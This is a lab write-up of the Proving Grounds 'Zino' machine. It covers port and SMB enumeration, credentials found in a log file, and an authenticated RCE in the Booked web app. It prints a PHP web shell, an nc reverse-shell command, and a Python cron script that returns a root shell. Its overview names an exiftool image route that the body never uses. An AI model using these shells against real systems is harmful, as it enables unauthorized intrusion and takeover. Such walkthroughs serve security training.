Home Proving Grounds - Zino
Post
Cancel

Proving Grounds - Zino

Zino Overview

Machine Details

IPHostnameOperating System
192.168.x.64ZinoLinux

Path to Exploitation

This is a Linux machine running an HTTP server and has SSH available. We will identify the vulnerable web-application and using a publicly available exploit and default credentials we obtain a web-shell and get command execution. Once on the machine we identify a scheduled script that takes uploaded images and executes the exiftools command on them. We can leverage this by uploading a .jpg file with an embedded reverse shell payload.

Enumeration

Full Port Scan

1
$ nmap -p- -Pn -oA nmap/full-port --open 192.168.200.64

Results:

PortService
21ftp
22ssh
139netbios-ssn
445microsoft-ds
3306mysql
8003mcreport

Service Scan

1
$ nmap -p 21,22,139,445,3306,8003 -Pn -sC -sV -oA nmap/service-scan 192.168.200.64

Results:

PortServiceVersion
21ftpvsftpd 3.0.3
22sshOpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
139netbios-ssnsmbd 3.X - 4.X
445microsoft-dssmbd 4.9.5-Debian
3306mysql 
8003httpApache httpd 2.4.38

SMB Enumeration

SMB Scan

1
nmap -p 139,445 --script=smb-vuln* 192.168.200.64 -Pn -oA nmap/smb-scan

Results:

| smb-vuln-regsvc-dos: 
|   VULNERABLE:
|   Service regsvc in Microsoft Windows systems vulnerable to denial of service
|     State: VULNERABLE
|       The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
|       pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
|       while working on smb-enum-sessions.
|_          
|_smb-vuln-ms10-061: false
|_smb-vuln-ms10-054: false

No applicable vulnerabilities, but we have gathered more information from the previous service scan

| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: zino
|   NetBIOS computer name: ZINO\x00
|   Domain name: \x00
|   FQDN: zino
|_  System time: 2022-06-09T20:21:56-04:00

SMB Share Enumeration

Using enum4linux we see that the host does not accept null sessions

 ======================================= 
|    Session Check on 192.168.49.200    |
 ======================================= 
[E] Server doesn't allow session using username '', password ''.  Aborting remainder of tests.

We can try enumeration the shares with the computer name ‘zino’ with no password

SMB Shares

We see that there is a directory called zino, we can try to access that share.

SMB Content

It appears that this is the home directory of the zino user.

File Enumeration

The content of the auth.log file provides us with a valid username

Valid Username

In the misc.log file we find application credentials

App Creds

admin:adminadmin

These credentials allow us to login to application running on the HTTP Server

Logged In

Website Enumeration

There is a /booked/ directory on the site

/booked

which leads to the following login page

Login Page

We also see the software version near the bottom of the page

App Version

This version is vulnerable to an Authenticated RCE

With the credentials identified from enumerating the SMB share

1
(admin:adminadmin)

Exploitation

We can attempt to exploit this service with the RCE exploit.

When using the exploit, I was unable to successfully exploit the RCE, but followed the steps outlined here

Gaining a Webshell

  1. Navigate to: http://192.168.200.64:8003/booked/Web/admin/manage_theme.php

Upload Page

  1. Create the rce.php file with the following content:
1
<?php system($_GET['cmd']); ?>
  1. Upload the php file to the favicon section of the site

  2. navigate to http://192.168.200.64:8003/booked/Web/custom-favicon.php?cmd=whoami

Web Shell

Shell on Zino

Using the webshell we identify that nc is on the host.

Identify nc

We can use that to get our reverse shell. Use the following command to launch our reverse shell:

1
nc 192.168.49.200 8003 -e /bin/bash

Checking on our listener we see the connection come through

Reverse Shell

Privilege Escalation

Linpeas has identified a potential priv esc in a cron job running in /var/www/html/booked

Vulnerable Cron

We can modify the content of the file to be the following:

1
2
3
4
5
6
7
8
#!/usr/bin/env python
import os
import sys
try:
        os.system('nc -e /bin/bash 192.168.49.200 8003')
except:
        print 'ERROR...'
sys.exit(0)

and copy it to /var/www/html/booked/cleanup.py and setup our listener. After a while we see a connection and we confirm we are running as root

Privilege Escalation

This post is licensed under CC BY 4.0 by the author.